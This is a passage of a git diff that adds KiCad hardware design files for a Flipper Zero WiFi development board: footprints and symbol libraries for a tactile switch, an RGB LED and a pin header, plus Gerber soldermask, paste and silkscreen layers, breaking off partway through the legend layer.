(fp_line (start -3.6 -2.6) (end 3.6 -2.6) (layer F.CrtYd) (width 0.1))
|
||||
(fp_line (start 3.6 -2.6) (end 3.6 2.6) (layer F.CrtYd) (width 0.1))
|
||||
(fp_line (start 3.6 2.6) (end -3.6 2.6) (layer F.CrtYd) (width 0.1))
|
||||
(fp_line (start -3.6 2.6) (end -3.6 -2.6) (layer F.CrtYd) (width 0.1))
|
||||
(fp_line (start -1.2 -1.6) (end 1.2 -1.6) (layer F.SilkS) (width 0.1))
|
||||
(fp_line (start -1.2 1.6) (end 1.2 1.6) (layer F.SilkS) (width 0.1))
|
||||
(fp_line (start -2.1 -0.4) (end -2.1 0.4) (layer F.SilkS) (width 0.1))
|
||||
(fp_line (start 2.1 -0.4) (end 2.1 0.4) (layer F.SilkS) (width 0.1))
|
||||
(fp_line (start -3 -1) (end -3 -1) (layer F.SilkS) (width 0.1))
|
||||
(fp_line (start -3 -1) (end -3 -1) (layer F.SilkS) (width 0.2))
|
||||
(fp_line (start -3.2 -1) (end -3.2 -1) (layer F.SilkS) (width 0.2))
|
||||
(fp_arc (start -3.1 -1) (end -3.000 -1) (angle -180) (layer F.SilkS) (width 0.2))
|
||||
(fp_arc (start -3.1 -1) (end -3.200 -1) (angle -180) (layer F.SilkS) (width 0.2))
|
||||
(pad 1 smd rect (at -2.075 -1.075 90) (size 0.650 1.050) (layers F.Cu F.Paste F.Mask))
|
||||
(pad 2 smd rect (at 2.075 -1.075 90) (size 0.650 1.050) (layers F.Cu F.Paste F.Mask))
|
||||
(pad 3 smd rect (at -2.075 1.075 90) (size 0.650 1.050) (layers F.Cu F.Paste F.Mask))
|
||||
(pad 4 smd rect (at 2.075 1.075 90) (size 0.650 1.050) (layers F.Cu F.Paste F.Mask))
|
||||
(model SKRPABE010.stp
|
||||
(at (xyz 0 0 0))
|
||||
(scale (xyz 1 1 1))
|
||||
(rotate (xyz 0 0 0))
|
||||
)
|
||||
)
|
||||
29
PCBs/FlipperZero/WiFi-Devboard-Pro/Libraries/SKRPABE010.lib
Normal file
29
PCBs/FlipperZero/WiFi-Devboard-Pro/Libraries/SKRPABE010.lib
Normal file
@@ -0,0 +1,29 @@
|
||||
EESchema-LIBRARY Version 2.3
|
||||
#encoding utf-8
|
||||
#SamacSys ECAD Model SKRPABE010
|
||||
#/13010270/987070/2.49/4/0/Switch
|
||||
DEF SKRPABE010 S 0 30 Y Y 1 F N
|
||||
F0 "S" 950 300 50 H V L CNN
|
||||
F1 "SKRPABE010" 950 200 50 H V L CNN
|
||||
F2 "SKRPABE010" 950 100 50 H I L CNN
|
||||
F3 "https://datasheet.lcsc.com/szlcsc/ALPS-Electric-SKRPABE010_C115360.pdf" 950 0 50 H I L CNN
|
||||
F4 "Switch Tactile N.O. SPST Button J-Bend 0.05A 16VDC 1.57N SMD Automotive T/R" 950 -100 50 H I L CNN "Description"
|
||||
F5 "2.5" 950 -200 50 H I L CNN "Height"
|
||||
F6 "ALPS Electric" 950 -300 50 H I L CNN "Manufacturer_Name"
|
||||
F7 "SKRPABE010" 950 -400 50 H I L CNN "Manufacturer_Part_Number"
|
||||
F8 "688-SKRPAB" 950 -500 50 H I L CNN "Mouser Part Number"
|
||||
F9 "https://www.mouser.co.uk/ProductDetail/Alps-Alpine/SKRPABE010?qs=m0BA540hBPe1GpcSf%2FZ5Yw%3D%3D" 950 -600 50 H I L CNN "Mouser Price/Stock"
|
||||
F10 "" 950 -700 50 H I L CNN "Arrow Part Number"
|
||||
F11 "" 950 -800 50 H I L CNN "Arrow Price/Stock"
|
||||
F12 "" 950 -900 50 H I L CNN "Mouser Testing Part Number"
|
||||
F13 "" 950 -1000 50 H I L CNN "Mouser Testing Price/Stock"
|
||||
DRAW
|
||||
X NO_1 1 0 0 200 R 50 50 0 0 P
|
||||
X NO_2 2 1100 0 200 L 50 50 0 0 P
|
||||
X NO_3 3 0 -100 200 R 50 50 0 0 P
|
||||
X NO_4 4 1100 -100 200 L 50 50 0 0 P
|
||||
P 5 0 1 6 200 100 900 100 900 -200 200 -200 200 100 N
|
||||
ENDDRAW
|
||||
ENDDEF
|
||||
#
|
||||
#End Library
|
||||
@@ -0,0 +1,29 @@
|
||||
EESchema-LIBRARY Version 2.3
|
||||
#encoding utf-8
|
||||
#SamacSys ECAD Model WS2812B-2020
|
||||
#/13449884/987070/2.49/4/4/LED (Multiple)
|
||||
DEF WS2812B-2020 LED 0 30 Y Y 1 F N
|
||||
F0 "LED" 850 300 50 H V L CNN
|
||||
F1 "WS2812B-2020" 850 200 50 H V L CNN
|
||||
F2 "WS2812B2020" 850 100 50 H I L CNN
|
||||
F3 "https://www.alldatasheet.com/datasheet-pdf/pdf/1134522/WORLDSEMI/WS2812B-2020.html" 850 0 50 H I L CNN
|
||||
F4 "LED; SMD; 2020; RGB; 2x2x0.84mm; 3.75.3V; Lens: transparent; 2kHz" 850 -100 50 H I L CNN "Description"
|
||||
F5 "0.84" 850 -200 50 H I L CNN "Height"
|
||||
F6 "Worldsemi" 850 -300 50 H I L CNN "Manufacturer_Name"
|
||||
F7 "WS2812B-2020" 850 -400 50 H I L CNN "Manufacturer_Part_Number"
|
||||
F8 "" 850 -500 50 H I L CNN "Mouser Part Number"
|
||||
F9 "" 850 -600 50 H I L CNN "Mouser Price/Stock"
|
||||
F10 "" 850 -700 50 H I L CNN "Arrow Part Number"
|
||||
F11 "" 850 -800 50 H I L CNN "Arrow Price/Stock"
|
||||
F12 "" 850 -900 50 H I L CNN "Mouser Testing Part Number"
|
||||
F13 "" 850 -1000 50 H I L CNN "Mouser Testing Price/Stock"
|
||||
DRAW
|
||||
X DO 1 1000 -100 200 L 50 50 0 0 P
|
||||
X GND 2 1000 0 200 L 50 50 0 0 P
|
||||
X DI 3 0 0 200 R 50 50 0 0 P
|
||||
X VDD 4 0 -100 200 R 50 50 0 0 P
|
||||
P 5 0 1 6 200 100 800 100 800 -200 200 -200 200 100 N
|
||||
ENDDRAW
|
||||
ENDDEF
|
||||
#
|
||||
#End Library
|
||||
@@ -0,0 +1,35 @@
|
||||
(module "WS2812B2020" (layer F.Cu)
|
||||
(descr "WS2812B-2020-2")
|
||||
(tags "LED (Multiple)")
|
||||
(attr smd)
|
||||
(fp_text reference LED** (at 0.000 -0) (layer F.SilkS)
|
||||
(effects (font (size 1.27 1.27) (thickness 0.254)))
|
||||
)
|
||||
(fp_text user %R (at 0.000 -0) (layer F.Fab)
|
||||
(effects (font (size 1.27 1.27) (thickness 0.254)))
|
||||
)
|
||||
(fp_text value "WS2812B2020" (at 0.000 -0) (layer F.SilkS) hide
|
||||
(effects (font (size 1.27 1.27) (thickness 0.254)))
|
||||
)
|
||||
(fp_line (start -1.1 -1) (end 1.1 -1) (layer F.Fab) (width 0.2))
|
||||
(fp_line (start 1.1 -1) (end 1.1 1) (layer F.Fab) (width 0.2))
|
||||
(fp_line (start 1.1 1) (end -1.1 1) (layer F.Fab) (width 0.2))
|
||||
(fp_line (start -1.1 1) (end -1.1 -1) (layer F.Fab) (width 0.2))
|
||||
(fp_line (start -2.265 -2) (end 2.265 -2) (layer F.CrtYd) (width 0.1))
|
||||
(fp_line (start 2.265 -2) (end 2.265 2) (layer F.CrtYd) (width 0.1))
|
||||
(fp_line (start 2.265 2) (end -2.265 2) (layer F.CrtYd) (width 0.1))
|
||||
(fp_line (start -2.265 2) (end -2.265 -2) (layer F.CrtYd) (width 0.1))
|
||||
(fp_line (start 1.4 1.4) (end 1.4 1.4) (layer F.SilkS) (width 0.1))
|
||||
(fp_line (start 1.4 1.3) (end 1.4 1.3) (layer F.SilkS) (width 0.1))
|
||||
(fp_arc (start 1.4 1.35) (end 1.400 1.4) (angle -180) (layer F.SilkS) (width 0.1))
|
||||
(fp_arc (start 1.4 1.35) (end 1.400 1.3) (angle -180) (layer F.SilkS) (width 0.1))
|
||||
(pad 1 smd rect (at 0.915 0.55 90) (size 0.700 0.700) (layers F.Cu F.Paste F.Mask))
|
||||
(pad 2 smd rect (at 0.915 -0.55 90) (size 0.700 0.700) (layers F.Cu F.Paste F.Mask))
|
||||
(pad 3 smd rect (at -0.915 -0.55 90) (size 0.700 0.700) (layers F.Cu F.Paste F.Mask))
|
||||
(pad 4 smd rect (at -0.915 0.55 90) (size 0.700 0.700) (layers F.Cu F.Paste F.Mask))
|
||||
(model WS2812B-2020.stp
|
||||
(at (xyz 0 0 0))
|
||||
(scale (xyz 1 1 1))
|
||||
(rotate (xyz 0 0 0))
|
||||
)
|
||||
)
|
||||
@@ -0,0 +1,33 @@
|
||||
EESchema-LIBRARY Version 2.3
|
||||
#encoding utf-8
|
||||
#SamacSys ECAD Model X6511WVS-08H-C60D48R2
|
||||
#/17126700/987070/2.49/8/0/Connector
|
||||
DEF X6511WVS-08H-C60D48R2 J 0 30 Y Y 1 F N
|
||||
F0 "J" 650 300 50 H V L CNN
|
||||
F1 "X6511WVS-08H-C60D48R2" 650 200 50 H V L CNN
|
||||
F2 "HUSRSP8W66P254_2000X250X850P" 650 100 50 H I L CNN
|
||||
F3 "https://datasheet.lcsc.com/lcsc/2110100430_XKB-Connectivity-X6511WVS-08H-C60D48R2_C2883765.pdf" 650 0 50 H I L CNN
|
||||
F4 "Gold 250V 3A Brick nogging Square Pins 2.5mm 260 6mm -40~ 105 1 8 2.54mm Black Brass 1x8P SMD,P=2.54mm() Pin Headers ROHS" 650 -100 50 H I L CNN "Description"
|
||||
F5 "" 650 -200 50 H I L CNN "Height"
|
||||
F6 "XKB Connectivity" 650 -300 50 H I L CNN "Manufacturer_Name"
|
||||
F7 "X6511WVS-08H-C60D48R2" 650 -400 50 H I L CNN "Manufacturer_Part_Number"
|
||||
F8 "" 650 -500 50 H I L CNN "Mouser Part Number"
|
||||
F9 "" 650 -600 50 H I L CNN "Mouser Price/Stock"
|
||||
F10 "" 650 -700 50 H I L CNN "Arrow Part Number"
|
||||
F11 "" 650 -800 50 H I L CNN "Arrow Price/Stock"
|
||||
F12 "" 650 -900 50 H I L CNN "Mouser Testing Part Number"
|
||||
F13 "" 650 -1000 50 H I L CNN "Mouser Testing Price/Stock"
|
||||
DRAW
|
||||
X 1 1 0 0 200 R 50 50 0 0 P
|
||||
X 2 2 0 -100 200 R 50 50 0 0 P
|
||||
X 3 3 0 -200 200 R 50 50 0 0 P
|
||||
X 4 4 0 -300 200 R 50 50 0 0 P
|
||||
X 5 5 800 0 200 L 50 50 0 0 P
|
||||
X 6 6 800 -100 200 L 50 50 0 0 P
|
||||
X 7 7 800 -200 200 L 50 50 0 0 P
|
||||
X 8 8 800 -300 200 L 50 50 0 0 P
|
||||
P 5 0 1 6 200 100 600 100 600 -400 200 -400 200 100 N
|
||||
ENDDRAW
|
||||
ENDDEF
|
||||
#
|
||||
#End Library
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,76 @@
|
||||
%TF.GenerationSoftware,KiCad,Pcbnew,(6.0.8)*%
|
||||
%TF.CreationDate,2023-01-02T13:08:22-05:00*%
|
||||
%TF.ProjectId,WiFi-Devboard-Pro,57694669-2d44-4657-9662-6f6172642d50,rev?*%
|
||||
%TF.SameCoordinates,Original*%
|
||||
%TF.FileFunction,Soldermask,Bot*%
|
||||
%TF.FilePolarity,Negative*%
|
||||
%FSLAX46Y46*%
|
||||
G04 Gerber Fmt 4.6, Leading zero omitted, Abs format (unit mm)*
|
||||
G04 Created by KiCad (PCBNEW (6.0.8)) date 2023-01-02 13:08:22*
|
||||
%MOMM*%
|
||||
%LPD*%
|
||||
G01*
|
||||
G04 APERTURE LIST*
|
||||
%ADD10C,1.700000*%
|
||||
%ADD11O,1.700000X1.700000*%
|
||||
%ADD12C,2.200000*%
|
||||
%ADD13R,0.960000X5.440000*%
|
||||
G04 APERTURE END LIST*
|
||||
D10*
|
||||
%TO.C,J4*%
|
||||
X129370000Y-109940000D03*
|
||||
D11*
|
||||
X131910000Y-109940000D03*
|
||||
X134450000Y-109940000D03*
|
||||
X136990000Y-109940000D03*
|
||||
X139530000Y-109940000D03*
|
||||
X142070000Y-109940000D03*
|
||||
X144610000Y-109940000D03*
|
||||
X147150000Y-109940000D03*
|
||||
X149690000Y-109940000D03*
|
||||
X152230000Y-109940000D03*
|
||||
X154770000Y-109940000D03*
|
||||
%TD*%
|
||||
D12*
|
||||
%TO.C,*%
|
||||
X187100000Y-99900000D03*
|
||||
%TD*%
|
||||
D10*
|
||||
%TO.C,J5*%
|
||||
X129370000Y-89840000D03*
|
||||
D11*
|
||||
X131910000Y-89840000D03*
|
||||
X134450000Y-89840000D03*
|
||||
X136990000Y-89840000D03*
|
||||
X139530000Y-89840000D03*
|
||||
X142070000Y-89840000D03*
|
||||
X144610000Y-89840000D03*
|
||||
X147150000Y-89840000D03*
|
||||
X149690000Y-89840000D03*
|
||||
X152230000Y-89840000D03*
|
||||
X154770000Y-89840000D03*
|
||||
%TD*%
|
||||
D13*
|
||||
%TO.C,J3*%
|
||||
X153970000Y-103140000D03*
|
||||
X156510000Y-101060000D03*
|
||||
X159050000Y-103140000D03*
|
||||
X161590000Y-101060000D03*
|
||||
X164130000Y-103140000D03*
|
||||
X166670000Y-101060000D03*
|
||||
X169210000Y-103140000D03*
|
||||
X171750000Y-101060000D03*
|
||||
X174290000Y-103140000D03*
|
||||
X176830000Y-101060000D03*
|
||||
%TD*%
|
||||
%TO.C,J2*%
|
||||
X118410000Y-103140000D03*
|
||||
X120950000Y-101060000D03*
|
||||
X123490000Y-103140000D03*
|
||||
X126030000Y-101060000D03*
|
||||
X128570000Y-103140000D03*
|
||||
X131110000Y-101060000D03*
|
||||
X133650000Y-103140000D03*
|
||||
X136190000Y-101060000D03*
|
||||
%TD*%
|
||||
M02*
|
||||
@@ -0,0 +1,39 @@
|
||||
%TF.GenerationSoftware,KiCad,Pcbnew,(6.0.8)*%
|
||||
%TF.CreationDate,2023-01-02T13:08:22-05:00*%
|
||||
%TF.ProjectId,WiFi-Devboard-Pro,57694669-2d44-4657-9662-6f6172642d50,rev?*%
|
||||
%TF.SameCoordinates,Original*%
|
||||
%TF.FileFunction,Paste,Bot*%
|
||||
%TF.FilePolarity,Positive*%
|
||||
%FSLAX46Y46*%
|
||||
G04 Gerber Fmt 4.6, Leading zero omitted, Abs format (unit mm)*
|
||||
G04 Created by KiCad (PCBNEW (6.0.8)) date 2023-01-02 13:08:22*
|
||||
%MOMM*%
|
||||
%LPD*%
|
||||
G01*
|
||||
G04 APERTURE LIST*
|
||||
%ADD10R,0.960000X5.440000*%
|
||||
G04 APERTURE END LIST*
|
||||
D10*
|
||||
%TO.C,J3*%
|
||||
X153970000Y-103140000D03*
|
||||
X156510000Y-101060000D03*
|
||||
X159050000Y-103140000D03*
|
||||
X161590000Y-101060000D03*
|
||||
X164130000Y-103140000D03*
|
||||
X166670000Y-101060000D03*
|
||||
X169210000Y-103140000D03*
|
||||
X171750000Y-101060000D03*
|
||||
X174290000Y-103140000D03*
|
||||
X176830000Y-101060000D03*
|
||||
%TD*%
|
||||
%TO.C,J2*%
|
||||
X118410000Y-103140000D03*
|
||||
X120950000Y-101060000D03*
|
||||
X123490000Y-103140000D03*
|
||||
X126030000Y-101060000D03*
|
||||
X128570000Y-103140000D03*
|
||||
X131110000Y-101060000D03*
|
||||
X133650000Y-103140000D03*
|
||||
X136190000Y-101060000D03*
|
||||
%TD*%
|
||||
M02*
|
||||
@@ -0,0 +1,647 @@
|
||||
%TF.GenerationSoftware,KiCad,Pcbnew,(6.0.8)*%
|
||||
%TF.CreationDate,2023-01-02T13:08:22-05:00*%
|
||||
%TF.ProjectId,WiFi-Devboard-Pro,57694669-2d44-4657-9662-6f6172642d50,rev?*%
|
||||
%TF.SameCoordinates,Original*%
|
||||
%TF.FileFunction,Legend,Bot*%
|
||||
%TF.FilePolarity,Positive*%
|
||||
%FSLAX46Y46*%
|
||||
G04 Gerber Fmt 4.6, Leading zero omitted, Abs format (unit mm)*
|
||||
G04 Created by KiCad (PCBNEW (6.0.8)) date 2023-01-02 13:08:22*
|
||||
%MOMM*%
|
||||
%LPD*%
|
||||
G01*
|
||||
G04 APERTURE LIST*
|
||||
%ADD10C,0.100000*%
|
||||
%ADD11C,0.200000*%
|
||||
G04 APERTURE END LIST*
|
||||
D10*
|
||||
X183027857Y-91754857D02*
|
||||
X183294523Y-91754857D01*
|
||||
X183294523Y-92173904D02*
|
||||
X183294523Y-91373904D01*
|
||||
X182913571Y-91373904D01*
|
||||
X182494523Y-92173904D02*
|
||||
X182570714Y-92135809D01*
|
||||
X182608809Y-92059619D01*
|
||||
X182608809Y-91373904D01*
|
||||
X182189761Y-92173904D02*
|
||||
X182189761Y-91640571D01*
|
||||
X182189761Y-91373904D02*
|
||||
X182227857Y-91412000D01*
|
||||
X182189761Y-91450095D01*
|
||||
X182151666Y-91412000D01*
|
||||
X182189761Y-91373904D01*
|
||||
X182189761Y-91450095D01*
|
||||
X181808809Y-91640571D02*
|
||||
X181808809Y-92440571D01*
|
||||
X181808809Y-91678666D02*
|
||||
X181732619Y-91640571D01*
|
||||
X181580238Y-91640571D01*
|
||||
X181504047Y-91678666D01*
|
||||
X181465952Y-91716761D01*
|
||||
X181427857Y-91792952D01*
|
||||
X181427857Y-92021523D01*
|
||||
X181465952Y-92097714D01*
|
||||
X181504047Y-92135809D01*
|
||||
X181580238Y-92173904D01*
|
||||
X181732619Y-92173904D01*
|
||||
X181808809Y-92135809D01*
|
||||
X181085000Y-91640571D02*
|
||||
X181085000Y-92440571D01*
|
||||
X181085000Y-91678666D02*
|
||||
X181008809Y-91640571D01*
|
||||
X180856428Y-91640571D01*
|
||||
X180780238Y-91678666D01*
|
||||
X180742142Y-91716761D01*
|
||||
X180704047Y-91792952D01*
|
||||
X180704047Y-92021523D01*
|
||||
X180742142Y-92097714D01*
|
||||
X180780238Y-92135809D01*
|
||||
X180856428Y-92173904D01*
|
||||
X181008809Y-92173904D01*
|
||||
X181085000Y-92135809D01*
|
||||
X180056428Y-92135809D02*
|
||||
X180132619Y-92173904D01*
|
||||
X180285000Y-92173904D01*
|
||||
X180361190Y-92135809D01*
|
||||
X180399285Y-92059619D01*
|
||||
X180399285Y-91754857D01*
|
||||
X180361190Y-91678666D01*
|
||||
X180285000Y-91640571D01*
|
||||
X180132619Y-91640571D01*
|
||||
X180056428Y-91678666D01*
|
||||
X180018333Y-91754857D01*
|
||||
X180018333Y-91831047D01*
|
||||
X180399285Y-91907238D01*
|
||||
X179675476Y-92173904D02*
|
||||
X179675476Y-91640571D01*
|
||||
X179675476Y-91792952D02*
|
||||
X179637380Y-91716761D01*
|
||||
X179599285Y-91678666D01*
|
||||
X179523095Y-91640571D01*
|
||||
X179446904Y-91640571D01*
|
||||
X178646904Y-91373904D02*
|
||||
X178113571Y-91373904D01*
|
||||
X178646904Y-92173904D01*
|
||||
X178113571Y-92173904D01*
|
||||
X177504047Y-92135809D02*
|
||||
X177580238Y-92173904D01*
|
||||
X177732619Y-92173904D01*
|
||||
X177808809Y-92135809D01*
|
||||
X177846904Y-92059619D01*
|
||||
X177846904Y-91754857D01*
|
||||
X177808809Y-91678666D01*
|
||||
X177732619Y-91640571D01*
|
||||
X177580238Y-91640571D01*
|
||||
X177504047Y-91678666D01*
|
||||
X177465952Y-91754857D01*
|
||||
X177465952Y-91831047D01*
|
||||
X177846904Y-91907238D01*
|
||||
X177123095Y-92173904D02*
|
||||
X177123095Y-91640571D01*
|
||||
X177123095Y-91792952D02*
|
||||
X177085000Y-91716761D01*
|
||||
X177046904Y-91678666D01*
|
||||
X176970714Y-91640571D01*
|
||||
X176894523Y-91640571D01*
|
||||
X176513571Y-92173904D02*
|
||||
X176589761Y-92135809D01*
|
||||
X176627857Y-92097714D01*
|
||||
X176665952Y-92021523D01*
|
||||
X176665952Y-91792952D01*
|
||||
X176627857Y-91716761D01*
|
||||
X176589761Y-91678666D01*
|
||||
X176513571Y-91640571D01*
|
||||
X176399285Y-91640571D01*
|
||||
X176323095Y-91678666D01*
|
||||
X176285000Y-91716761D01*
|
||||
X176246904Y-91792952D01*
|
||||
X176246904Y-92021523D01*
|
||||
X176285000Y-92097714D01*
|
||||
X176323095Y-92135809D01*
|
||||
X176399285Y-92173904D01*
|
||||
X176513571Y-92173904D01*
|
||||
X175370714Y-91373904D02*
|
||||
X175180238Y-92173904D01*
|
||||
X175027857Y-91602476D01*
|
||||
X174875476Y-92173904D01*
|
||||
X174685000Y-91373904D01*
|
||||
X174380238Y-92173904D02*
|
||||
X174380238Y-91640571D01*
|
||||
X174380238Y-91373904D02*
|
||||
X174418333Y-91412000D01*
|
||||
X174380238Y-91450095D01*
|
||||
X174342142Y-91412000D01*
|
||||
X174380238Y-91373904D01*
|
||||
X174380238Y-91450095D01*
|
||||
X173732619Y-91754857D02*
|
||||
X173999285Y-91754857D01*
|
||||
X173999285Y-92173904D02*
|
||||
X173999285Y-91373904D01*
|
||||
X173618333Y-91373904D01*
|
||||
X173313571Y-92173904D02*
|
||||
X173313571Y-91640571D01*
|
||||
X173313571Y-91373904D02*
|
||||
X173351666Y-91412000D01*
|
||||
X173313571Y-91450095D01*
|
||||
X173275476Y-91412000D01*
|
||||
X173313571Y-91373904D01*
|
||||
X173313571Y-91450095D01*
|
||||
X172323095Y-92173904D02*
|
||||
X172323095Y-91373904D01*
|
||||
X172132619Y-91373904D01*
|
||||
X172018333Y-91412000D01*
|
||||
X171942142Y-91488190D01*
|
||||
X171904047Y-91564380D01*
|
||||
X171865952Y-91716761D01*
|
||||
X171865952Y-91831047D01*
|
||||
X171904047Y-91983428D01*
|
||||
X171942142Y-92059619D01*
|
||||
X172018333Y-92135809D01*
|
||||
X172132619Y-92173904D01*
|
||||
X172323095Y-92173904D01*
|
||||
X171218333Y-92135809D02*
|
||||
X171294523Y-92173904D01*
|
||||
X171446904Y-92173904D01*
|
||||
X171523095Y-92135809D01*
|
||||
X171561190Y-92059619D01*
|
||||
X171561190Y-91754857D01*
|
||||
X171523095Y-91678666D01*
|
||||
X171446904Y-91640571D01*
|
||||
X171294523Y-91640571D01*
|
||||
X171218333Y-91678666D01*
|
||||
X171180238Y-91754857D01*
|
||||
X171180238Y-91831047D01*
|
||||
X171561190Y-91907238D01*
|
||||
X170913571Y-91640571D02*
|
||||
X170723095Y-92173904D01*
|
||||
X170532619Y-91640571D01*
|
||||
X170227857Y-92173904D02*
|
||||
X170227857Y-91373904D01*
|
||||
X170227857Y-91678666D02*
|
||||
X170151666Y-91640571D01*
|
||||
X169999285Y-91640571D01*
|
||||
X169923095Y-91678666D01*
|
||||
X169885000Y-91716761D01*
|
||||
X169846904Y-91792952D01*
|
||||
X169846904Y-92021523D01*
|
||||
X169885000Y-92097714D01*
|
||||
X169923095Y-92135809D01*
|
||||
X169999285Y-92173904D01*
|
||||
X170151666Y-92173904D01*
|
||||
X170227857Y-92135809D01*
|
||||
X169389761Y-92173904D02*
|
||||
X169465952Y-92135809D01*
|
||||
X169504047Y-92097714D01*
|
||||
X169542142Y-92021523D01*
|
||||
X169542142Y-91792952D01*
|
||||
X169504047Y-91716761D01*
|
||||
X169465952Y-91678666D01*
|
||||
X169389761Y-91640571D01*
|
||||
X169275476Y-91640571D01*
|
||||
X169199285Y-91678666D01*
|
||||
X169161190Y-91716761D01*
|
||||
X169123095Y-91792952D01*
|
||||
X169123095Y-92021523D01*
|
||||
X169161190Y-92097714D01*
|
||||
X169199285Y-92135809D01*
|
||||
X169275476Y-92173904D01*
|
||||
X169389761Y-92173904D01*
|
||||
X168437380Y-92173904D02*
|
||||
X168437380Y-91754857D01*
|
||||
X168475476Y-91678666D01*
|
||||
X168551666Y-91640571D01*
|
||||
X168704047Y-91640571D01*
|
||||
X168780238Y-91678666D01*
|
||||
X168437380Y-92135809D02*
|
||||
X168513571Y-92173904D01*
|
||||
X168704047Y-92173904D01*
|
||||
X168780238Y-92135809D01*
|
||||
X168818333Y-92059619D01*
|
||||
X168818333Y-91983428D01*
|
||||
X168780238Y-91907238D01*
|
||||
X168704047Y-91869142D01*
|
||||
X168513571Y-91869142D01*
|
||||
X168437380Y-91831047D01*
|
||||
X168056428Y-92173904D02*
|
||||
X168056428Y-91640571D01*
|
||||
X168056428Y-91792952D02*
|
||||
X168018333Y-91716761D01*
|
||||
X167980238Y-91678666D01*
|
||||
X167904047Y-91640571D01*
|
||||
X167827857Y-91640571D01*
|
||||
X167218333Y-92173904D02*
|
||||
X167218333Y-91373904D01*
|
||||
X167218333Y-92135809D02*
|
||||
X167294523Y-92173904D01*
|
||||
X167446904Y-92173904D01*
|
||||
X167523095Y-92135809D01*
|
||||
X167561190Y-92097714D01*
|
||||
X167599285Y-92021523D01*
|
||||
X167599285Y-91792952D01*
|
||||
X167561190Y-91716761D01*
|
||||
X167523095Y-91678666D01*
|
||||
X167446904Y-91640571D01*
|
||||
X167294523Y-91640571D01*
|
||||
X167218333Y-91678666D01*
|
||||
X166227857Y-92173904D02*
|
||||
X166227857Y-91373904D01*
|
||||
X165923095Y-91373904D01*
|
||||
X165846904Y-91412000D01*
|
||||
X165808809Y-91450095D01*
|
||||
X165770714Y-91526285D01*
|
||||
X165770714Y-91640571D01*
|
||||
X165808809Y-91716761D01*
|
||||
X165846904Y-91754857D01*
|
||||
X165923095Y-91792952D01*
|
||||
X166227857Y-91792952D01*
|
||||
X165427857Y-92173904D02*
|
||||
X165427857Y-91640571D01*
|
||||
X165427857Y-91792952D02*
|
||||
X165389761Y-91716761D01*
|
||||
X165351666Y-91678666D01*
|
||||
X165275476Y-91640571D01*
|
||||
X165199285Y-91640571D01*
|
||||
X164818333Y-92173904D02*
|
||||
X164894523Y-92135809D01*
|
||||
X164932619Y-92097714D01*
|
||||
X164970714Y-92021523D01*
|
||||
X164970714Y-91792952D01*
|
||||
X164932619Y-91716761D01*
|
||||
X164894523Y-91678666D01*
|
||||
X164818333Y-91640571D01*
|
||||
X164704047Y-91640571D01*
|
||||
X164627857Y-91678666D01*
|
||||
X164589761Y-91716761D01*
|
||||
X164551666Y-91792952D01*
|
||||
X164551666Y-92021523D01*
|
||||
X164589761Y-92097714D01*
|
||||
X164627857Y-92135809D01*
|
||||
X164704047Y-92173904D01*
|
||||
X164818333Y-92173904D01*
|
||||
X182837380Y-93461904D02*
|
||||
X183104047Y-93080952D01*
|
||||
X183294523Y-93461904D02*
|
||||
X183294523Y-92661904D01*
|
||||
X182989761Y-92661904D01*
|
||||
X182913571Y-92700000D01*
|
||||
X182875476Y-92738095D01*
|
||||
X182837380Y-92814285D01*
|
||||
X182837380Y-92928571D01*
|
||||
X182875476Y-93004761D01*
|
||||
X182913571Y-93042857D01*
|
||||
X182989761Y-93080952D01*
|
||||
X183294523Y-93080952D01*
|
||||
X182189761Y-93423809D02*
|
||||
X182265952Y-93461904D01*
|
||||
X182418333Y-93461904D01*
|
||||
X182494523Y-93423809D01*
|
||||
X182532619Y-93347619D01*
|
||||
X182532619Y-93042857D01*
|
||||
X182494523Y-92966666D01*
|
||||
X182418333Y-92928571D01*
|
||||
X182265952Y-92928571D01*
|
||||
X182189761Y-92966666D01*
|
||||
X182151666Y-93042857D01*
|
||||
X182151666Y-93119047D01*
|
||||
X182532619Y-93195238D01*
|
||||
X181885000Y-92928571D02*
|
||||
X181694523Y-93461904D01*
|
||||
X181504047Y-92928571D01*
|
||||
X180704047Y-92661904D02*
|
||||
X180437380Y-93461904D01*
|
||||
X180170714Y-92661904D01*
|
||||
X179751666Y-92661904D02*
|
||||
X179675476Y-92661904D01*
|
||||
X179599285Y-92700000D01*
|
||||
X179561190Y-92738095D01*
|
||||
X179523095Y-92814285D01*
|
||||
X179485000Y-92966666D01*
|
||||
X179485000Y-93157142D01*
|
||||
X179523095Y-93309523D01*
|
||||
X179561190Y-93385714D01*
|
||||
X179599285Y-93423809D01*
|
||||
X179675476Y-93461904D01*
|
||||
X179751666Y-93461904D01*
|
||||
X179827857Y-93423809D01*
|
||||
X179865952Y-93385714D01*
|
||||
X179904047Y-93309523D01*
|
||||
X179942142Y-93157142D01*
|
||||
X179942142Y-92966666D01*
|
||||
X179904047Y-92814285D01*
|
||||
X179865952Y-92738095D01*
|
||||
X179827857Y-92700000D01*
|
||||
X179751666Y-92661904D01*
|
||||
X179142142Y-93385714D02*
|
||||
X179104047Y-93423809D01*
|
||||
X179142142Y-93461904D01*
|
||||
X179180238Y-93423809D01*
|
||||
X179142142Y-93385714D01*
|
||||
X179142142Y-93461904D01*
|
||||
X178342142Y-93461904D02*
|
||||
X178799285Y-93461904D01*
|
||||
X178570714Y-93461904D02*
|
||||
X178570714Y-92661904D01*
|
||||
X178646904Y-92776190D01*
|
||||
X178723095Y-92852380D01*
|
||||
X178799285Y-92890476D01*
|
||||
X177999285Y-93385714D02*
|
||||
X177961190Y-93423809D01*
|
||||
X177999285Y-93461904D01*
|
||||
X178037380Y-93423809D01*
|
||||
X177999285Y-93385714D01*
|
||||
X177999285Y-93461904D01*
|
||||
X177465952Y-92661904D02*
|
||||
X177389761Y-92661904D01*
|
||||
X177313571Y-92700000D01*
|
||||
X177275476Y-92738095D01*
|
||||
X177237380Y-92814285D01*
|
||||
X177199285Y-92966666D01*
|
||||
X177199285Y-93157142D01*
|
||||
X177237380Y-93309523D01*
|
||||
X177275476Y-93385714D01*
|
||||
X177313571Y-93423809D01*
|
||||
X177389761Y-93461904D01*
|
||||
X177465952Y-93461904D01*
|
||||
X177542142Y-93423809D01*
|
||||
X177580238Y-93385714D01*
|
||||
X177618333Y-93309523D01*
|
||||
X177656428Y-93157142D01*
|
||||
X177656428Y-92966666D01*
|
||||
X177618333Y-92814285D01*
|
||||
X177580238Y-92738095D01*
|
||||
X177542142Y-92700000D01*
|
||||
X177465952Y-92661904D01*
|
||||
X183065952Y-93949904D02*
|
||||
